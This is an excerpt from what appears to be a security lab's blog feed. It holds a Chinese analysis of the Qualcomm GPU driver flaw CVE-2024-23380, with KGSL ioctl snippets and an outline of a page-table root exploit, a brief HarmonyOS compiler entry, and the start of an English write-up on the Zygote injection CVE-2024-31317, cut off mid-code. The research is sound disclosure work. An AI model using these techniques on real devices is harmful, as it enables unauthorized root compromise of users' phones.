    <content type="html"><![CDATA[<h2 id="背景"><a class="markdownIt-Anchor" href="#背景"></a> 背景</h2><p>GPU是终端设备负责图形化渲染的硬件，和CPU相比，它能更高效地并行计算。传统的PC端GPU可以通过PCIe接口在主板上热插拔，而在移动端，GPU往往和CPU集成在一块芯片上，再搭配负责网络通信的基带等配件，统一称为SoC。目前移动端市场占有率比较高的SoC有高通的骁龙系列处理器、联发科天玑系列处理器、华为海思处理器等。这些SoC的CPU部分都有统一规范的arm指令集，这保证了一套程序只需编译一次，在不同厂商的CPU上都能正确运行。但是这些厂商的GPU指令集却非常封闭，甚至有些没有公开的文档，每家厂商在自己的标准上发展了自己的生态，试图构建商业护城河。作为开发者如果需要根据每个硬件厂商定制不同的GPU操作逻辑，想必是一件非常复杂的事情，而事实上的安卓开发者，大多数情况下并不需要接和GPU进行交互，我们在绘制一个窗口、展示一张图片时，是通过调用安卓系统封装的统一接口实现。那安卓又是如何保证这么多硬件兼容性的呢？</p><span id="more"></span><p>上面的兼容性问题其实不止出现在移动端，在PC端也普遍存在。为了保证各种GPU硬件的兼容性，业界制定了统一的OpenGL、Vulkan、DirectX等标准，这些标准约定了名称规范统一的API调用约定。各家SoC厂商如果想推广自己的硬件，就必须自己负责开发基于这些标准实现的系统驱动、软件链接库。以OpenGL标准为例，如果要绘制一个窗口，开发者需要编写下面这样的代码。至于glfwInit、glfwCreateWindow、glfwMakeContextCurrent、glewInit这些函数，是由硬件厂商负责编写成链接库，在系统里供我们动态链接。这些链接库函数会和GPU内核驱动交互，而GPU驱动控制硬件，处理用户的逻辑。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 初始化 GLFW</span></span><br><span class="line">    <span class="keyword">if</span> (!glfwInit()) &#123;</span><br><span class="line">        <span class="built_in">std</span>::<span class="built_in">cerr</span> &lt;&lt; <span class="string">&quot;Failed to initialize GLFW&quot;</span> &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    GLFWwindow* window = glfwCreateWindow(<span class="number">800</span>, <span class="number">600</span>, <span class="string">&quot;OpenGL Rectangle&quot;</span>, nullptr, nullptr);</span><br><span class="line">    <span class="keyword">if</span> (!window) &#123;</span><br><span class="line">        <span class="built_in">std</span>::<span class="built_in">cerr</span> &lt;&lt; <span class="string">&quot;Failed to create GLFW window&quot;</span> &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">        glfwTerminate();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    glfwMakeContextCurrent(window);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 初始化 GLEW</span></span><br><span class="line">    <span class="keyword">if</span> (glewInit() != GLEW_OK) &#123;</span><br><span class="line">        <span class="built_in">std</span>::<span class="built_in">cerr</span> &lt;&lt; <span class="string">&quot;Failed to initialize GLEW&quot;</span> &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>安卓操作系统约定，硬件厂商的SoC在出厂时同时需要提供软件支持，必须满足至少OpenGL以及Vulkan（安卓7以后支持）两种调用约定。厂商负责编写的代码有两个部分，内核层的GPU驱动以及用户态的GPU 链接库。这种代码模块分离的思想在其他硬件如音频驱动、摄像头上也有类似的使用，被安卓统一定义为硬件抽象层（Hardware Abstraction Layer），又称HAL。</p><p><img src="android_framework.png" alt="Untitled" /></p><p>安卓只需要在HAL层声明需要哪些接口，明确定义好动态链接库导出的函数名称，传参方式，具体实现都交给了厂商。由于硬件厂商众多，他们编写的代码安全性必定不能和主线代码相比。与之矛盾的是，为了和硬件交互，厂商编写的代码往往都直接运行在内核态，一旦驱动代码出现安全问题，整个系统的安全建设将付之一炬，可谓安卓安全生态中最短的一块木板。</p><p>当然安卓研发人员也意识到这种问题的严重性，使用SELinux约束了这些硬件接口的调用权限。比如普通app没有权限直接使用摄像头、麦克风等硬件，必须通过系统的service进行数据中转，极大减少了驱动暴露出的攻击面。在service中转前，又使用AOSP的权限管控约束了APP的行为。</p><p><img src="selinux_camera.png" alt="Untitled" /></p><p>然而，GPU硬件出于性能的考虑，没办法使用service进行中转，任意一个APP默认就有权限和GPU驱动进行交互，在SELinux上也没有相应的进行权限管控。这也导致了GPU成为安卓安全生态中最为脆弱的一环，在过去一两年的安卓在野漏洞利用中，攻击者无一例外地瞄准了GPU驱动，借助GPU的驱动漏洞实现从普通APP到root的权限提升。</p><p><img src="selinux_gpu.png" alt="Untitled" /></p><h2 id="认识gpu"><a class="markdownIt-Anchor" href="#认识gpu"></a> 认识GPU</h2><p>在利用GPU漏洞进行系统提权之前，我们有必要理清楚GPU的正常交互逻辑，开发者是如何操作GPU进行图形绘制、并行计算呢？</p><h3 id="shader编程"><a class="markdownIt-Anchor" href="#shader编程"></a> Shader编程</h3><p>在CPU计算领域，我们通常使用一些高级编程语言进行程序编写，交给编译器将我们的程序编译成CPU能理解的机器码运行。和CPU流程类似，GPU领域也有专用的编程语言，称为shader，它是控制图形硬件进行图像渲染或单元计算的程序。如下所示，是一个简单的并行计算数组绝对值的shader代码。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">#version 430</span><br><span class="line"></span><br><span class="line">layout(std430, binding = 0) buffer InputBuffer &#123;</span><br><span class="line">    float inputData[];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">layout(std430, binding = 1) buffer OutputBuffer &#123;</span><br><span class="line">    float outputData[];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">void main() &#123;</span><br><span class="line">    uint index = gl_GlobalInvocationID.x;</span><br><span class="line">    outputData[index] = abs(inputData[index]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当然GPU硬件肯定没办法理解上述语言是什么意义，从上面的语言到GPU硬件指令还需要额外的中间语言编译、硬件语言翻译两个阶段。</p><p>我们使用glslang编译工具链将shader代码编译为SPIR-V格式的字节码，这是由业界提出的一种计算机图形学统一的中间语言。OpenGL、VulKan等标准提供了接口来加载并运行SPIR-V字节码，在运行时，OpenGL这些框架会动态地将字节码翻译为GPU能直接理解的指令码进行执行。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ glslangValidator -V shader_abs.comp -o shader_abs.spv</span><br></pre></td></tr></table></figure><p>至此我们简单理解了GPU的交互过程，这对GPU驱动漏洞挖掘还不够，我们需要从更底层的视角去发现问题。像上面的shader代码，程序的输入输出是float数组，但对于硬件来说这些都是内存里的比特，程序的运行必定涉及到GPU、CPU的内存数据交换、共享，这些又是怎么处理的呢？</p><h3 id="gpu内存模型"><a class="markdownIt-Anchor" href="#gpu内存模型"></a> GPU内存模型</h3><p>传统的CPU在使用内存时，提出了虚拟内存的思想。基于硬件控制，不同的进程内存空间相互独立，称为虚拟内存，每个进程的虚拟内存和实际的物理内存之间的映射关系由页表保存。GPU在内存管理方便和CPU有着非常相似的地方。每个GPU程序上下文运行在相互独立的虚拟内存空间，GPU内核驱动负责维护每个GPU上下文的页表，管理程序内存申请、释放、和CPU的共享内存逻辑。</p><p>以高通GPU驱动为例，用户态的程序可以通过ioctl和GPU驱动交互，和GPU共享内存。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 打开GPU驱动，创建一个gpu程序上下文</span></span><br><span class="line"><span class="type">int</span> gslfd = open(<span class="string">&quot;/dev/kgsl-3d0&quot;</span>,<span class="number">0</span>);</span><br><span class="line"><span class="comment">// 申请一块内存</span></span><br><span class="line"><span class="type">void</span> *buffer = (<span class="type">void</span> *)mmap((<span class="type">void</span> *)<span class="number">0x40000000L</span>, <span class="number">0x1000L</span>, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS|MAP_FIXED, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (buffer == MAP_FAILED)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;mmap error:%d\n&quot;</span>,errno);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;mmap buffer return %p\n&quot;</span>, buffer);</span><br><span class="line"><span class="comment">// 配置GPU共享内存参数</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">kgsl_map_user_mem</span> <span class="title">args</span> =</span> &#123;</span><br><span class="line">    .flags = KGSL_MEMFLAGS_USE_CPU_MAP | KGSL_MEMFLAGS_USERMEM_ADDR | (KGSL_CACHEMODE_UNCACHED &lt;&lt; KGSL_CACHEMODE_SHIFT) ,</span><br><span class="line">    .memtype = KGSL_USER_MEM_TYPE_ADDR,</span><br><span class="line">    .hostptr = (<span class="type">uint64_t</span>)buffer,</span><br><span class="line">    .offset = <span class="number">0</span>,</span><br><span class="line">    .len = <span class="number">0x1000L</span>,</span><br><span class="line">&#125;;</span><br><span class="line">ret = ioctl(gslfd, IOCTL_KGSL_MAP_USER_MEM, &amp;args);</span><br><span class="line"><span class="keyword">if</span> (ret)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;ioctl IOCTL_KGSL_MAP_USER_MEM cmd_data error: %d %s\n&quot;</span>,errno,strerror(errno));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>继续查看高通GPU内核驱动的代码，可以看到驱动里大量复杂的ioctl交互逻辑，处理用户态的请求。<br /><img src="ioctl.png" alt="a" /></p><p>正常的GPU交互逻辑是app通过加载OpenGL的链接库，在链接库里构造好参数，来和驱动进行ioctl交互。但是一个恶意的攻击者可以直接不加载OpenGL库，直接调用内核态的驱动代码。如果驱动代码中正确处理用户请求，就有可能导致UAF、溢出等内存漏洞。</p><h2 id="gpu漏洞回顾"><a class="markdownIt-Anchor" href="#gpu漏洞回顾"></a> GPU漏洞回顾</h2><p>2024年8月，Google的Android Red Team团队披露了一个高通GPU驱动的UAF漏洞CVE-2024-23380，借助这个漏洞，攻击者可以从普通APP的权限提升到系统root。接下来本文对该漏洞的成因、利用过程进行详细分析。</p><p>高通GPU驱动提供了一系列接口用于操作GPU的虚拟内存。如IOCTL_KGSL_GPUOBJ_ALLOC用于申请GPU对象（内存），API返回一个id标志，用于区分不同的对象。可以通过IOCTL_KGSL_GPUOBJ_INFO查询到id对应的GPU对象所占居的虚拟内存地址、内存大小等信息。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">kgsl_gpuobj_alloc</span> <span class="title">param</span> =</span> &#123;</span><br><span class="line">    .size = <span class="number">0x1000</span>,</span><br><span class="line">    .flags = KGSL_MEMFLAGS_FORCE_32BIT,</span><br><span class="line">&#125;;</span><br><span class="line">ret = ioctl(gslfd, IOCTL_KGSL_GPUOBJ_ALLOC, ¶m);</span><br><span class="line"><span class="keyword">if</span>(ret &lt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;alloc failed %d %s\n&quot;</span>,errno,strerror(errno));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;vbo obj size: 0x%llx, flags: 0x%llx mmapsize: 0x%llx id 0x%x\n&quot;</span>, param.size, param.flags, param.mmapsize, param.id);</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">kgsl_gpuobj_info</span> <span class="title">info</span> =</span> &#123;</span><br><span class="line">    .id = param.id,</span><br><span class="line">&#125;;</span><br><span class="line">ret = ioctl(gslfd, IOCTL_KGSL_GPUOBJ_INFO, &amp;info);</span><br><span class="line"><span class="keyword">if</span>(ret &lt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;get info failed %d %s\n&quot;</span>,errno,strerror(errno));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint64_t</span> obj_addr = info.gpuaddr;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;obj_addr = 0x%lx\n&quot;</span>,obj_addr);</span><br></pre></td></tr></table></figure><p>类似地，IOCTL_KGSL_GPUOBJ_FREE用于释放，IOCTL_KGSL_MAP_USER_MEM用于将CPU的虚拟内存映射到GPU虚拟地址，实现内存共享。上述这些内存申请释放操作，实际上驱动的处理逻辑都是在读写GPU的页表，建立或释放从GPU到物理内存页的映射。</p><p>除了正常的GPU内存申请操作，IOCTL_KGSL_GPUOBJ_ALLOC还支持一个特殊的flag KGSL_MEMFLAGS_VBO。通过查阅驱动代码发现，带有这个特殊flag的GPU对象在申请时并没有申请对应的物理内存，而是以zero page进行占位填充。</p><p><img src="vbo_alloc.png" alt="" /></p><p>而后又可以通过IOCTL_KGSL_GPUMEM_BIND_RANGES操作将其他GPU对象的内存页映射到自己对应的虚拟地址空间。相反，也有与之对应的KGSL_GPUMEM_RANGE_OP_UNBIND取消映射操作。而这也是本次漏洞的关键所在。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">kgsl_gpumem_bind_range</span> <span class="title">ranges</span> =</span> &#123;</span><br><span class="line">    .child_offset = <span class="number">0</span>,</span><br><span class="line">    .target_offset = <span class="number">0</span>,</span><br><span class="line">    .length = <span class="number">0x1000</span>,</span><br><span class="line">    .child_id = victim_param.id,</span><br><span class="line">    .op = KGSL_GPUMEM_RANGE_OP_BIND,</span><br><span class="line">&#125;;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">kgsl_gpumem_bind_ranges</span> <span class="title">ranges_args</span> =</span> &#123;</span><br><span class="line">    .ranges = (<span class="type">uint64_t</span>)&amp;ranges,</span><br><span class="line">    .ranges_nents = <span class="number">1</span>,</span><br><span class="line">    .ranges_size = <span class="keyword">sizeof</span>(<span class="keyword">struct</span> kgsl_gpumem_bind_range),</span><br><span class="line">    .id = vbo_param.id,</span><br><span class="line">    .flags = <span class="number">0</span>,</span><br><span class="line">    .fence_id = <span class="number">0</span>,</span><br><span class="line">&#125;;</span><br><span class="line">ret = ioctl(gslfd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &amp;ranges_args);</span><br><span class="line"><span class="keyword">if</span>(ret &lt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;IOCTL_KGSL_GPUMEM_BIND_RANGES failed %d %s\n&quot;</span>,errno,strerror(errno));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="vbo_map.png" alt="" /></p><h3 id="cve-2024-23380漏洞分析"><a class="markdownIt-Anchor" href="#cve-2024-23380漏洞分析"></a> CVE-2024-23380漏洞分析</h3><p>内核驱动开发中，一个需要特别注意的点就是并发控制，当读写一些全局变量时，需要对加锁、释放锁的时机格外注意。如下是GPU VBO在进行BIND_RANGES时的处理逻辑，用于将GPU的虚拟内存页VA1映射到另外一块虚拟内存页VA2。操作完成后，VA1和VA2将指向同一块物理内存。</p><p><img src="vbo_add_range.png" alt="" /><br />不难看出，上面的操作中 3 和4的顺序被搞反了，正确逻辑应该是先建立好映射后，再释放锁。</p><p>BIND_UNRANGES与之相反，加锁、解除VA2和物理页的映射、添加VA2和zero page的映射、释放锁。<br /><img src="vbo_remove_range.png" alt="" /></p><h3 id="漏洞利用"><a class="markdownIt-Anchor" href="#漏洞利用"></a> 漏洞利用</h3><p>上述的漏洞是由于锁释放的时机不对导致的race，那触发漏洞必定通过多线程并发实现，那竞争成功后又能达到什么样的效果呢？</p><p>在GPU中申请分别一个正常的对象、一个带有VBO标记的对象，内存页映射关系如下所示。<br /><img src="e1.png" alt="" /><br />当正常VBO对象正常执行BIND_RANGE后，GPU的VA1和VA2会同时指向一块物理内存。如果此时执行UNBIND_RANGE操作,它们又会回到上面的初始状态。<br /><img src="e2.png" alt="" /><br />但当race的过程时，如果出现以下的执行过程<br /><img src="e3.png" alt="" /></p><p>在第三步释放VA1后，GPU对应的物理页会被还给系统的内存分配器，然而此时VA2仍保留着到物理内存的映射。导出出现PAGE UAF，我们可以通过控制GPU指令，来实现对该物理内存块的读写。</p><p>在实际的代码利用过程中，我们可以频发触发PAGE UAF漏洞，使GPU保留更多的物理地址页映射，方便后续的占位操作。此时GPU映射的物理页虽然处于空闲状态，但是仍保留在kgsl_page_pool这个页管理器中，并没有完全被系统回收，需要Linux内核触发memory shrink后，才会回调_kgsl_pool_shrink，进而将物理页完全交给系统。通过查阅文档得知，正常情况下高权限用户可以通过命令 echo 3&gt; /proc/sys/vm/drop_caches 来触发内存碎片回收，对于一个普通app来说，没有权限修改procfs，可以通过频繁申请内存来触发。<br /><img src="mem_shrink.png" alt="" /></p><p>在系统完全回收这些内存后，我们可以再次调用mmap申请内存，这一步是为了让CPU的PTE table占据这些空闲页。接下来，我们通过编写shader程序，去读写这些PTE table对应的GPU VA，进而间接通过改变CPU的虚拟内存映射的物理地址，实现全局物理内存读写。在实验过程中发现，高通处理器系列的kernel虽然开启了KASLR，内核虚拟地址是完全随机化的，但是物理地址却是固定值0xa8000000L。从这个位置开始，我们就可以读写整个内核空间的代码、数据段，进而实现代码提权。<br /><img src="exp_demo.gif" alt="" /></p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>本文简述了移动端GPU安全研究方向、GPU的攻击面梳理、漏洞分析等内容。从攻击者角度来看，纵观过去几年漏洞安全研究历史，传统的内存破坏、整数溢出等漏洞开始淡出历史舞台，这些都可以通过编译期检查、各种sanitizer机制加以缓解，但像mmu misconfiguration等逻辑型漏洞很难通过fuzzer来触达，驱动在运行时更需要硬件支持，这也为自动化漏洞挖掘带来了新的挑战。从防御者角度来看，内核驱动代码的漏洞不可避免，这也不失为当时安卓顶层安全设计的一个失误，既然无法收敛权限，那也许将驱动程序从内核中剥离出来是一种更安全的解决方案，但这更需要SoC厂商更多的技术支持，其中的技术路线选型、架构设计和原始的驱动代码开发不尽相同，涉及到的软件稳定性、兼容性、性能验证等工作量又是一个未知数，仅从安全收益的角度来说似乎很难说服SoC厂商做出这样的改变。如果安卓官方重新定义一种更为安全的HAL层的接口，强制约束厂商的接入方式，理论上是一种更合理的动机，不过这都需要Android官方和SoC厂商迈出艰难的第一步，究竟GPU安全未来的发展如何，我们拭目以待。</p><h3 id="参考资料"><a class="markdownIt-Anchor" href="#参考资料"></a> 参考资料</h3><ol><li><p><a href="https://i.blackhat.com/BH-US-24/Presentations/REVISED02-US24-Gong-The-Way-to-Android-Root-Wednesday.pdf">https://i.blackhat.com/BH-US-24/Presentations/REVISED02-US24-Gong-The-Way-to-Android-Root-Wednesday.pdf</a></p></li><li><p><a href="https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html">https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html</a></p></li></ol>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#背景&quot;&gt;&lt;/a&gt; 背景&lt;/h2&gt;
&lt;p&gt;GPU是终端设备负责图形化渲染的硬件，和CPU相比，它能更高效地并行计算。传统的PC端GPU可以通过PCIe接口在主板上热插拔，而在移动端，GPU往往和CPU集成在一块芯片上，再搭配负责网络通信的基带等配件，统一称为SoC。目前移动端市场占有率比较高的SoC有高通的骁龙系列处理器、联发科天玑系列处理器、华为海思处理器等。这些SoC的CPU部分都有统一规范的arm指令集，这保证了一套程序只需编译一次，在不同厂商的CPU上都能正确运行。但是这些厂商的GPU指令集却非常封闭，甚至有些没有公开的文档，每家厂商在自己的标准上发展了自己的生态，试图构建商业护城河。作为开发者如果需要根据每个硬件厂商定制不同的GPU操作逻辑，想必是一件非常复杂的事情，而事实上的安卓开发者，大多数情况下并不需要接和GPU进行交互，我们在绘制一个窗口、展示一张图片时，是通过调用安卓系统封装的统一接口实现。那安卓又是如何保证这么多硬件兼容性的呢？&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>HarmonyOS NEXT编译器arkcompiler代码阅读初探</title>
    <link href="https://dawnslab.jd.com/HarmonyOS_NEXT_arkcompiler_intruduction/"/>
    <id>https://dawnslab.jd.com/HarmonyOS_NEXT_arkcompiler_intruduction/</id>
    <published>2024-11-13T07:22:56.000Z</published>
    <updated>2025-08-21T06:15:23.831Z</updated>
    
    <content type="html"><![CDATA[<h1 id="背景"><a class="markdownIt-Anchor" href="#背景"></a> 背景</h1><p>伴随着HarmonyOS NEXT的发布，华为实现了计算机领域三座大山的跨越：操作系统、处理器、编译器。其中HarmonyOS NEXT的编译器名叫arkcompiler，它的发布引起了编译、安全、程序分析等领域人员的广泛关注，我们阅读了arkcompiler的源码，进行了关键步骤的梳理，并绘制了相关流程图，供大家学习参考，如有错误还望批评指正。</p><span id="more"></span><h1 id="panda字节码格式"><a class="markdownIt-Anchor" href="#panda字节码格式"></a> panda字节码格式</h1><!-- ![pand字节码格式](panda.svg "pand字节码格式") --><img src="/HarmonyOS_NEXT_arkcompiler_intruduction/panda.svg" class="" title="pand字节码格式"><h1 id="arkcompiler编译流程图"><a class="markdownIt-Anchor" href="#arkcompiler编译流程图"></a> arkcompiler编译流程图</h1><!-- ![编译流程图](arkcompiler.svg "arkcompiler编译流程图") --><img src="/HarmonyOS_NEXT_arkcompiler_intruduction/arkcompiler.svg" class="" title="arkcompiler编译流程图">]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;背景&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#背景&quot;&gt;&lt;/a&gt; 背景&lt;/h1&gt;
&lt;p&gt;伴随着HarmonyOS NEXT的发布，华为实现了计算机领域三座大山的跨越：操作系统、处理器、编译器。其中HarmonyOS NEXT的编译器名叫arkcompiler，它的发布引起了编译、安全、程序分析等领域人员的广泛关注，我们阅读了arkcompiler的源码，进行了关键步骤的梳理，并绘制了相关流程图，供大家学习参考，如有错误还望批评指正。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>The Return of Mystique? Possibly the Most Valuable Userspace Android Vulnerability in Recent Years: CVE-2024-31317</title>
    <link href="https://dawnslab.jd.com/the_return_of_mystique/"/>
    <id>https://dawnslab.jd.com/the_return_of_mystique/</id>
    <published>2024-10-21T07:46:32.000Z</published>
    <updated>2025-08-21T06:15:23.843Z</updated>
    
    <content type="html"><![CDATA[<h1 id="abstract"><a class="markdownIt-Anchor" href="#abstract"></a> Abstract</h1><p>This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to <a href="https://dawnslab.jd.com/mystique/">the Mystique vulnerability discovered by the author years ago (which won the Pwnie Award for Best Privilege Escalation Bug)</a>, but each has its own merits.</p><span id="more"></span><h1 id="origin-of-the-vulnerability"><a class="markdownIt-Anchor" href="#origin-of-the-vulnerability"></a> Origin of the Vulnerability</h1><p>A few months ago, <a href="https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html">Meta X Red Team</a> published two very interesting Android Framework vulnerabilities that could be used to escalate privileges to any UID. Among them, CVE-2024-0044, due to its simplicity and directness, has already been widely analyzed in the technical community with public exploits available (it’s worth mentioning that people were later surprised to find that <a href="https://github.com/canyie/CVE-2024-0044">the first fix for this vulnerability was actually ineffective</a>). Meanwhile, CVE-2024-31317 still lacks a public detailed analysis and exploit, although the latter has greater power than the former (able to obtain system-uid privileges). This vulnerability is also quite surprising, because it’s already 2024, and we can still find command injection in Android’s core component (Zygote).</p><p>This reminds us of the <a href="https://dawnslab.jd.com/mystique/">Mystique vulnerability</a> we discovered years ago, which similarly allowed attackers to obtain privileges for any uid. It’s worth noting that both vulnerabilities have certain prerequisites. For example, CVE-2024-31317 requires the <code>WRITE_SECURE_SETTINGS</code> permission. Although this permission is not particularly difficult to obtain, it theoretically still requires an additional vulnerability, as ordinary <code>untrusted_app</code>s cannot obtain this permission (however, it seems that on some branded phones, regular apps may have some methods to directly obtain this permission). ADB shell natively has this permission, and similarly, some special pre-installed signed apps also have this permission.</p><p>However, the exploitation effect and universality of this logical vulnerability are still sufficient to make us believe that it is the most valuable Android user-mode vulnerability in recent years since Mystique. Meta’s original article provides an excellent analysis of the cause of this vulnerability, but it only briefly touches on the exploitation process and methods, and is overall rather concise. This article will provide a detailed analysis and introduction to this vulnerability, and introduce some new exploitation methods, which, to our knowledge, are the first of their kind.</p><p>Attached is an image demonstrating the exploit effect, successfully obtaining system privilege on major phone brand’s June patch version:</p><!-- ![demo.gif](demo.gif) --><img src="/the_return_of_mystique/demo.gif" class="" title="demo.gif"><h2 id="analysis-of-this-vulnerability"><a class="markdownIt-Anchor" href="#analysis-of-this-vulnerability"></a> Analysis of this vulnerability</h2><p>Although the core of this vulnerability is command injection, exploiting it requires a considerable understanding of the Android system, especially how Android’s cornerstone—the Zygote fork mechanism—works, and how it interacts with the system_server.</p><h3 id="zygote-and-system_server-bootstrap-process"><a class="markdownIt-Anchor" href="#zygote-and-system_server-bootstrap-process"></a> Zygote and system_server bootstrap process</h3><p>Every Android developer knows that Zygote forks all processes in Android’s Java world, and system_server is no exception, as shown in the figure below.</p><!-- ![image.png](image.png) --><img src="/the_return_of_mystique/image.png" class="" title="image.png"><p>The Zygote process actually receives instructions from system_server and spawns child processes based on these instructions. This is implemented through the poll mechanism in <a href="https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/com/android/internal/os/ZygoteServer.java;l=521;drc=efb735f4d5a2f04550e33e8aa9485f906018fe4e">ZygoteServer.java</a>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td 